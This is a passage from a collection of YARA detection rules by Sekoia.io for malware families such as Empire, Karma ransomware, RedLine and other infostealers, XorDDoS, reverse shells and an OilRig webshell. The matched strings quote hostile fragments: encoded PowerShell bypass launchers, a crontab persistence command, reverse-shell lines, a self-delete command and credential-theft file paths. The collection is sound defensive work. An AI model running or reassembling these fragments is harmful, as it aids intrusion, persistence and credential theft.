		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "8a2b9e19b49ba17f976241bec5323121ba13d2ce39fdcf2777fd97a230211e75"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = {52 00 75 00 6e 00 70 00 65 00 58 00 2e 00 53 00 74 00 75 00 62 00 2e 00 46 00 72 00 61 00 6d 00 65 00 77 00 6f 00 72 00 6b 00 2e 00 65 00 78 00 65}
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule SEKOIA_Backdoor_Powershellempire_Batlauchers : FILE
{
	meta:
		description = "Detect BAT launchers for Empire"
		author = "Sekoia.io"
		id = "ad371665-ec59-45c8-9d99-2a675842c384"
		date = "2022-04-15"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/backdoor_powershellempire_batlauchers.yar#L1-L17"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "0453c739ad936b0cc5ed2e36ba4a011a90600b74ca23c08165c23a3e63fe60e9"
		score = 75
		quality = 74
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "powershell -noP -sta -w 1 -enc  SQB" nocase wide ascii
		$ = "powershell -ep bypass -noP -sta -w 1 -enc SQB" nocase wide ascii
		$ = "-nol -nop -ep bypass \"[IO.File]::ReadAllText('%~f0')|iex" nocase wide ascii
	condition:
		any of them and filesize < 1MB
}

rule SEKOIA_Ransomware_Win_Karma : FILE
{
	meta:
		description = "Detect the Karma ransomware payload"
		author = "Sekoia.io"
		id = "efd87a17-7c99-404a-8ea6-2f5c2121f9f2"
		date = "2021-08-25"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/ransomware_win_karma.yar#L1-L21"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "ef272be7ae5fea084120db95f7b002e9061d72442836e836ca43ddc7b461be4e"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$a1 = "KARMA" ascii
		$u1 = "KARMA" wide
		$u2 = "-ENCRYPTED.txt" wide
		$u3 = "Encrypting directory:" wide
		$u4 = "Encrypting file:" wide
		$u5 = "Trying to import ECC public key..." wide
	condition:
		uint16( 0 ) == 0x5A4D and filesize < 150KB and all of them
}

rule SEKOIA_Infostealer_Win_Enigma_Initial_Loader : FILE
{
	meta:
		description = "Find initial loader of Enigma Stealer based on specific strings"
		author = "Sekoia.io"
		id = "664fe8de-b406-4d63-9a4b-1c350b444f00"
		date = "2023-01-30"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_enigma_initial_loader.yar#L1-L24"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		hash = "03b9d7296b01e8f3fb3d12c4d80fe8a1bb0ab2fd76f33c5ce11b40729b75fb23"
		logic_hash = "b7687a480a2a633e7cc9a60d62f3392011712bd018ed634927419cfb4edb4a78"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "/getFile?file_id=" ascii
		$str02 = "/file/bot" ascii
		$str03 = "?file_id=" ascii
		$str04 = "pInternetSetOptionA failed" wide
		$str05 = "list_messages[file_path] failed" wide
		$str06 = "iE&xit" wide
		$str07 = "[GetTgFileById][GetTgRequest] reply is NULL" wide
		$str08 = "Telegram request failed" wide
		$str09 = "bot getted" wide
	condition:
		uint16( 0 ) == 0x5A4D and 4 of them
}


rule SEKOIA_Bot_Lin_Xorddos_Strings : FILE
{
	meta:
		description = "Catch XORDDoS strings"
		author = "Sekoia.io"
		id = "2f5c70a3-fe3f-4091-905d-d779bd0cb2cd"
		date = "2023-11-02"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/bot_lin_xorddos_strings.yar#L1-L17"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "b91cfeeaddffe98ac1649c5d88a2091cf7ab8ff65b232f09c323d23684cb2a2d"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)" ascii fullword
		$s2 = "sed -i '/\\/etc\\/cron.hourly\\/gcc.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab" ascii fullword
		$s3 = "for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done"
	condition:
		uint32( 0 ) == 0x464c457f and filesize > 600KB and filesize < 700KB and 3 of them
}

rule SEKOIA_Hacktool_Ipmipwner_Strings : FILE
{
	meta:
		description = "Detects ipmiPwner script"
		author = "Sekoia.io"
		id = "2ac736b5-33bb-477f-a98c-57cc2744d251"
		date = "2023-12-08"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/hacktool_ipmipwner_strings.yar#L1-L16"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "122311e1791d018f08f3d5ecdf2e0efe3aa5bb913b2c1ce6a3797e8ceb2676eb"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "{status} Using the list of users that the {lgcyan}script"
		$ = "--host 192.168.1.12 -p 624 -uW /opt/SecLists/Usernames/"
	condition:
		all of them and filesize < 10KB
}

rule SEKOIA_Generic_Python_Reverse_Shell : FILE
{
	meta:
		description = "Detects simple reverse shell written in Python"
		author = "Sekoia.io"
		id = "ab25f8db-e39d-4aa4-b431-cf5cd2e038e5"
		date = "2023-12-08"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/generic_python_reverse_shell.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "ced9923ef8018796545d93d9ac8ba3138dd7d4e79db742eb3babcd94c8d3c304"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "import pty"
		$ = "lhost ="
		$ = "os.dup2(s.fileno(),0)"
		$ = "os.putenv(\"HISTFILE\",'/dev/null')"
	condition:
		filesize < 1KB and all of them
}

rule SEKOIA_Merlin_Crossplatform : FILE
{
	meta:
		description = "Detects Merlin agent cross platform"
		author = "Sekoia.io"
		id = "c9c57f5e-26c3-43be-b2cf-10f5129d3be6"
		date = "2022-01-03"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/merlin_crossplatform.yar#L1-L23"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "975cc4fe0d89383188f9fd3c516d1e853dd6070d7703c0b5b5874dc1e7e6f32a"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = ".CRT" ascii
		$s2 = ".tls" ascii
		$s3 = "github.com/Ne0nd0g/merlin" ascii
		$s4 = "github.com/refraction-networking" ascii
		$s5 = "SendMerlinMessage" ascii
		$s6 = "ifconfigH9" ascii
	condition:
		( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0x457f ) and all of them and filesize > 5MB and filesize < 15MB
}

rule SEKOIA_Apt_Lazarus_Pondrat : FILE
{
	meta:
		description = "Detects PondRAT via mangled command names"
		author = "Sekoia.io"
		id = "a957c158-a79a-4d7a-8473-b6960cf02d9b"
		date = "2024-09-23"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_lazarus_pondrat.yar#L1-L24"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		hash = "b62c912de846e743effdf7e5654a7605"
		hash = "61d7b2c7814971e5323ec67b3a3d7f45"
		hash = "ce35c935dcc9d55b2c79945bac77dc8e"
		hash = "f50c83a4147b86cdb20cc1fbae458865"
		hash = "05957d98a75c04597649295dc846682d"
		hash = "33c9a47debdb07824c6c51e13740bdfe"
		logic_hash = "49c5f635e3873a145479bb164838043921d012eef7dc8ad6373c43c8cf1f14e0"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$cmd_PondRAT1 = "_Z7MsgDownP11_TRANS_INFO" ascii
		$cmd_PondRAT2 = "_Z5MsgUpP11_TRANS_INFO" ascii
		$cmd_PondRAT3 = "_Z6MsgRunP11_TRANS_INFO" ascii
		$cmd_PondRAT4 = "_Z6MsgCmdP11_TRANS_INFO" ascii
	condition:
		3 of them and filesize < 4MB
}

rule SEKOIA_Apt_Oilrig_Webshell : FILE
{
	meta:
		description = "Detects a webshell used by OilRig"
		author = "Sekoia.io"
		id = "53955117-5176-4682-89ad-1503faba42aa"
		date = "2024-10-23"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_oilrig_webshell.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "0e0879bafa1becf7e4aef008229a79ab8e0c50eda03232abd5cbb8fc59f482d3"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "string d = com;"
		$ = "string p = fu;"
		$ = "#@rt12!@$$$nnMF##"
		$ = "messi(d)))"
	condition:
		2 of them and filesize < 80KB
}

rule SEKOIA_Infostealer_Win_Vulturi : FILE
{
	meta:
		description = "Detect the Vulturi infostealer based on specific strings"
		author = "Sekoia.io"
		id = "5369cbfb-ff94-4484-b5a4-894feeed97e1"
		date = "2022-03-14"
		modified = "2024-12-19"
		reference = "https://lamp-ret.club/t/vulturi-cracked-by-tr0uble-and-eshelon_mayskih.193/"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_vulturi.yar#L1-L35"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "2d442768499ea0d4b6f5ac0d85521d73bb8337a53f1641485b0ce0054e2dc91c"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$vul = "Vulturi_" ascii
		$str01 = "/C chcp 65001 && ping 127.0.0.1 && DEL /F /S /Q /A" wide
		$str02 = "SELECT ExecutablePath, ProcessID FROM Win32_Process" wide
		$str03 = "Apps\\Gaming\\Minecraft" wide
		$str04 = "Apps\\Gaming\\Steam\\Apps" wide
		$str05 = "Messengers\\Facebook\\Contacts.txt" wide
		$str06 = "Messengers\\Discord\\Tokens.txt" wide
		$str07 = "Apps\\VPN\\NordVPN\\accounts.txt" wide
		$str08 = "Apps\\VPN\\DUC\\credentials.txt" wide
		$str09 = "System\\Screenshots\\Webcam.png" wide
		$str10 = "System\\Screenshots\\Desktop.png" wide
		$str11 = "GTA San Andreas User Files\\SAMP\\USERDATA.DAT" wide
		$str12 = "http://ip-api.com/line?fields=query" wide
		$str13 = "Wireshark" wide
		$str14 = "KeePass.config.xml" wide
		$str15 = "Apps\\TheBat!" wide
		$str16 = "Vulturi" wide
		$str17 = "StealerStub" wide
	condition:
		uint16( 0 ) == 0x5A4D and ( #vul > 50 or 12 of ( $str* ) )
}

rule SEKOIA_Infostealer_Win_Enigma_Loader_Module : FILE
{
	meta:
		description = "Find loader module of Enigma Stealer based on specific strings"
		author = "Sekoia.io"
		id = "664fe8de-b406-4d63-9a4b-1c350b444f01"
		date = "2023-01-30"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_enigma_loader_module.yar#L1-L25"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		hash = "f1623c2f7c00affa3985cf7b9cdf25e39320700fa9d69f9f9426f03054b4b712"
		logic_hash = "f5485b14291acc299d66b72aefd2d5e558d82f6a90450d293eb147f05423f2d8"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "Enigma.Loader.Driver_x64.dll" ascii
		$str02 = "C:\\projects\\driver\\Driver\\x64\\Release\\driver.pdb" ascii
		$str03 = "/getFile?file_id=" ascii
		$str04 = "/file/bot" ascii
		$str05 = "Fatal error: failed to acquire SE_LOAD_DRIVER_PRIVILEGE. Make sure you are running as administrator." wide
		$str06 = "[GetTgFileById][GetTgRequest] reply is NULL" wide
		$str07 = "Telegram request failed" wide
		$str08 = "Vul driver data destroyed before unlink" wide
		$str09 = "GetExportAddress hash not found: %x" wide
		$str10 = "\\REGISTRY\\MACHINE\\HARDWARE\\RESOURCEMAP\\PnP Manager\\PnpManager" wide
	condition:
		uint16( 0 ) == 0x5A4D and 4 of them
}

rule SEKOIA_Generic_Sharpshooter_Payload_1 : FILE
{
	meta:
		description = "Detects payload created by SharpShooter"
		author = "Sekoia.io"
		id = "82fd284a-47c2-4d29-9c80-f3affaa61a13"
		date = "2023-02-03"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/generic_sharpshooter_payload_1.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "20e42042bd03bde3d0eec42f81d560896e8ec9e67ad64611dc4bc21152db3ff0"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "rc4 = function(key, str)"
		$ = "var e={},i,b=0,c,x,l=0,a,r="
		$ = "var plain = rc4("
		$ = "<script language="
	condition:
		all of them and filesize < 2MB
}



rule SEKOIA_Infostealer_Win_Redline_Strings : FILE
{
	meta:
		description = "Finds Redline samples based on characteristic strings"
		author = "Sekoia.io"
		id = "0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e"
		date = "2022-09-07"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_redline_strings.yar#L1-L47"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "44443e16b788231b3f256b4d1e91c458c33963d5737d69fc5850f6b0efa7726b"
		score = 75
		quality = 78
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$gen01 = "ChromeGetRoamingName" ascii
		$gen02 = "ChromeGetLocalName" ascii
		$gen03 = "get_UserDomainName" ascii
		$gen04 = "get_encrypted_key" ascii
		$gen05 = "browserPaths" ascii
		$gen06 = "GetBrowsers" ascii
		$gen07 = "get_InstalledInputLanguages" ascii
		$gen08 = "BCRYPT_INIT_AUTH_MODE_INFO_VERSION" ascii
		$spe0 = "Profile_encrypted_value" wide
		$spe1 = "[AString-ZaString-z\\d]{2String4}\\.[String\\w-]{String6}\\.[\\wString-]{2String7}" wide
		$spe2 = "AFileSystemntivFileSystemirusPrFileSystemoduFileSystemct|AntiFileSystemSpyWFileSystemareProFileSystemduct|FireFileSystemwallProdFileSystemuct" wide
		$spe3 = "OpHandlerenVPHandlerN ConHandlernect%DSK_23%Opera GXcookies" wide
		$spe4 = "//settinString.Removeg[@name=\\PasswString.Removeord\\]/valuString.RemoveeROOT\\SecurityCenter" wide
		$spe5 = "ROOT\\SecurityCenter2Web DataSteamPath" wide
		$spe6 = "windows-1251, CommandLine:" wide
		$spe7 = "OFileInfopeFileInfora GFileInfoX StabFileInfole" wide
		$spe8 = "ApGenericpDaGenericta\\RGenericoamiGenericng\\" wide
		$spe9 = "*wallet*" wide
		$typ01 = "359A00EF6C789FD4C18644F56C5D3F97453FFF20" ascii
		$typ02 = "F413CEA9BAA458730567FE47F57CC3C94DDF63C0" ascii
		$typ03 = "A937C899247696B6565665BE3BD09607F49A2042" ascii
		$typ04 = "D67333042BFFC20116BF01BC556566EC76C6F7E2" ascii
		$typ05 = "4E3D7F188A5F5102BEC5B820632BBAEC26839E63" ascii
		$typ06 = "FB10FF1AD09FE8F5CA3A85B06BC96596AF83B350" ascii
		$typ07 = "77A9683FAF2EC9EC3DABC09D33C3BD04E8897D60" ascii
		$typ08 = "A8F9B62160DF085B926D5ED70E2B0F6C95A25280" ascii
		$typ09 = "718D1294A5C2D3F3D70E09F2F473155C4F567201" ascii
		$typ10 = "2FBDC611D3D91C142C969071EA8A7D3D10FF6301" ascii
		$typ11 = "2A19BFD7333718195216588A698752C517111B02" ascii
		$typ12 = "EB7EF1973CDC295B7B08FE6D82B9ECDAD1106AF2" ascii
		$typ13 = "04EC68A0FC7D9B6A255684F330C28A4DCAB91F13" ascii
	condition:
		uint16( 0 ) == 0x5A4D and ( 7 of ( $gen* ) or 3 of ( $spe* ) or 2 of ( $typ* ) )
}

rule SEKOIA_Crime_Sload_Vbs_Wsf_Downloader : FILE
{
	meta:
		description = "Detects sLoad Downloader"
		author = "Sekoia.io"
		id = "55d87205-5f8f-479a-a616-bf3fce571f03"
		date = "2022-08-01"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/crime_sload_vbs_wsf_downloader.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "bd6a9112edb01544463aa7112432ad49360221e89a9ac15d5e8f6731b2b8780a"
		score = 75
		quality = 76
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = { 53 65 74 20 6c 69 6e 6b 20 3d 20 [5-10] 2e 43 72 65 61 74 65 53 68 6f 72 74 63 75 74 28 }
		$ = { 2e 72 75 6e 20 22 63 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 44 6f 63 75 6d 65 6e 74 73 5c [5-10] 2e 6c 6e 6b 20 2f 63 20 70 6f 77 65 72 73 68 65 6c 6c }
		$ = { 3d 22 20 2f 63 20 70 6f 77 65 72 73 68 65 6c 6c 20 22 }
		$ = { 20 2f 63 20 70 6f 77 65 72 73 68 65 6c 6c 20 22 20 26 20 }
	condition:
		2 of them and filesize < 1KB
}

rule SEKOIA_Infostealer_Win_Phoenix : FILE
{
	meta:
		description = "Finds Phoenix Stealer samples based on specific strings"
		author = "Sekoia.io"
		id = "d63a8fcf-f897-4c36-a6ce-4bd4ae0154e5"
		date = "2023-06-20"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_phoenix.yar#L1-L33"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "c8a3a9a36c978cfc28fc6e21af10894161279dfd2e2ad665c3296fda10f6303d"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "nkbihfbeogaeaoehlefnkodbefgpgknn" ascii
		$str02 = "Discord\\Tokens.txt" ascii
		$str03 = "SOFTWARE\\OpenVP" ascii
		$str04 = "config_dir" ascii
		$str05 = "| Last Login:" ascii
		$str06 = "| Games:" ascii
		$str07 = "| Host:" ascii
		$str08 = "| Port:" ascii
		$str09 = "| User:" ascii
		$str10 = "| Pass:" ascii
		$str11 = "Grabber.rar" ascii
		$str12 = "\\GHISLER\\wcx_ftp.ini" ascii
		$str13 = "Clipboard.txt" ascii
		$str14 = "PROCESSOR_ARCHITECTURE" ascii
		$str15 = "PROCESSOR_IDENTIFIER" ascii
		$str16 = "Log.txt" ascii
		$str17 = "xXxXxXxXxXx" ascii
		$str18 = "hq101ejedmwcvvasd02kw" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 15 of them and filesize > 500KB
}


rule SEKOIA_Infostealer_Win_Nekostealer : FILE
{
	meta:
		description = "Detect the NekoStealer infostealer based on specific strings"
		author = "Sekoia.io"
		id = "8b7d2708-9d33-4855-8e02-f6afedb7dda8"
		date = "2023-01-24"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_nekostealer.yar#L1-L20"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "f027775bebb48ceb128392040ec2ac8ad84f2a2009760c040e4d376c2f06b663"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$nek = "NekoStealer.Stealing" ascii
		$str01 = "\\Local Storage\\leveldb" wide
		$str02 = "======================= Discord Tokens =======================" wide
		$str03 = "======================== IP Information ========================" wide
		$str04 = "https://ipapi.co/" wide
	condition:
		uint16( 0 ) == 0x5A4D and ( #nek > 10 or all of ( $str* ) )
}


rule SEKOIA_Loader_Win_Goshellcode : FILE
{
	meta:
		description = "Finds GoShellcode samples based on the specific strings"
		author = "Sekoia.io"
		id = "61346225-325a-4067-a4d6-3b8c001dd380"
		date = "2023-11-15"
		modified = "2024-12-19"
		reference = "https://github.com/yoda66/GoShellcode/blob/main/gosc.go"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/loader_win_goshellcode.yar#L1-L23"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "48ec87f284fbd14cbdb6b6b0f2e0fa6eb5ea19f112648660e0b8e525c562e3fc"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
		hash1 = "94445af999055bf7d7cddc0d1d5183ab2776d85285f0522a28fac6c5a6101906"
		hash2 = "fdea8b01b2597ceafe6f08b5fd12cc603b1e3ce2037731c0b6defde6935b1ce0"
	strings:
		$str01 = "main.VirtualAlloc" ascii
		$str02 = "main.RtlMoveMemory" ascii
		$str03 = "syscall.Syscall" ascii
		$str04 = "syscall.NewLazyDLL" ascii
		$str05 = "runtime.getGetProcAddress" ascii
		$str06 = "runtime.useAeshash" ascii
	condition:
		uint16( 0 ) == 0x5A4D and all of ( $str* ) and filesize < 8MB
}

rule SEKOIA_Infostealer_Win_Pennywise_Mar23 : FILE
{
	meta:
		description = "Finds PennyWise samples based on strings"
		author = "Sekoia.io"
		id = "9852b7e7-dfff-44e6-9068-d287cc84b069"
		date = "2023-03-22"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_pennywise_mar23.yar#L1-L26"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "55d7d6894de23af38230eaaff0a38c31d11d3df34aacd21fd93393d266c9357c"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$chr01 = "MvgmsudRT3loHygSj1F9K" ascii
		$chr02 = "WebInfidelity2023" ascii
		$chr03 = "PennyWise" ascii
		$str01 = "get_Handle" ascii
		$str02 = "get_Now" ascii
		$str03 = "get_Ticks" ascii
		$str04 = "set_Expect100Continue" ascii
		$str05 = "get_Jpeg" ascii
		$str06 = "set_UseShellExecute" ascii
		$str07 = "get_ProcessName" ascii
		$str08 = "get_UtcNow" ascii
	condition:
		uint16( 0 ) == 0x5A4D and 1 of ( $chr* ) and 5 of ( $str* )
}

rule SEKOIA_Platypus_Winlinmac_Strings : FILE
{
	meta:
		description = "Catch Platypus based on strings"
		author = "Sekoia.io"
		id = "4519448d-b91b-4794-9521-359b8cf4af78"
		date = "2023-12-07"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/platypus_winlinmac_strings.yar#L1-L22"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "3c8e928fb8328381997230d4b60de20d07a9a3aee006aad9fc0b67fcfe61a63b"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$pl1 = "platypus.go" ascii
		$pl2 = "Platypus/lib/context/server.go" ascii
		$pl3 = "Platypus/lib/context/context.go" ascii
		$pl4 = "Platypus/lib/context/client.go" ascii
		$pl5 = "github.com/WangYihang/" ascii
		$f1 = "reflection/reflection.go" ascii
		$f2 = "socksUsernamePassword" ascii
		$go = "/golang" ascii
	condition:
		uint32( 0 ) == 0x464c457f and 4 of ( $pl* ) and 1 of ( $f* ) and #go > 30
}

rule SEKOIA_Loader_Win_Erbium : FILE
{
	meta:
		description = "Detect the Erbium loader based on specific user-agent and URI"
		author = "Sekoia.io"
		id = "d1e5be62-5677-4ef4-9f10-65baf36ab619"
		date = "2022-09-30"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/loader_win_erbium.yar#L1-L19"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "e93e9dbf0e5412afa4640b4cf5d94374c4df38f8044d44c375e86508c0d4190a"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36" wide
		$str02 = "cloud/getHost.php?method=getstub&bid=" wide
		$str03 = "api.php?method=getstub&bid=" wide
		$api = "WinHttp" ascii
	condition:
		uint16( 0 ) == 0x5A4D and 2 of ( $str* ) and #api > 6
}

rule SEKOIA_Apt_Gamaredon_Powerrevshell : FILE
{
	meta:
		description = "Detects Powershell reverse shell"
		author = "Sekoia.io"
		id = "b5161c23-c607-4096-9f4a-1be516a0a614"
		date = "2023-02-08"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_gamaredon_powerrevshell.yar#L1-L19"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "fc5abcdf47641c1e7978cf076550f38987305bb2171b3e65f7865102a065af43"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "iex $enc.GetString("
		$ = "$stream.Write"
		$ = ".).FullName"
		$ = "Sockets.TcpClient"
		$ = "\">\";"
	condition:
		all of them and filesize < 3000
}

rule SEKOIA_Rat_Win_Asyncrat : FILE
{
	meta:
		description = "Detect AsyncRAT based on specific strings"
		author = "Sekoia.io"
		id = "d698e4a1-77ff-4cd7-acb3-27fb16168ceb"
		date = "2023-01-25"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/rat_win_asyncrat.yar#L1-L26"
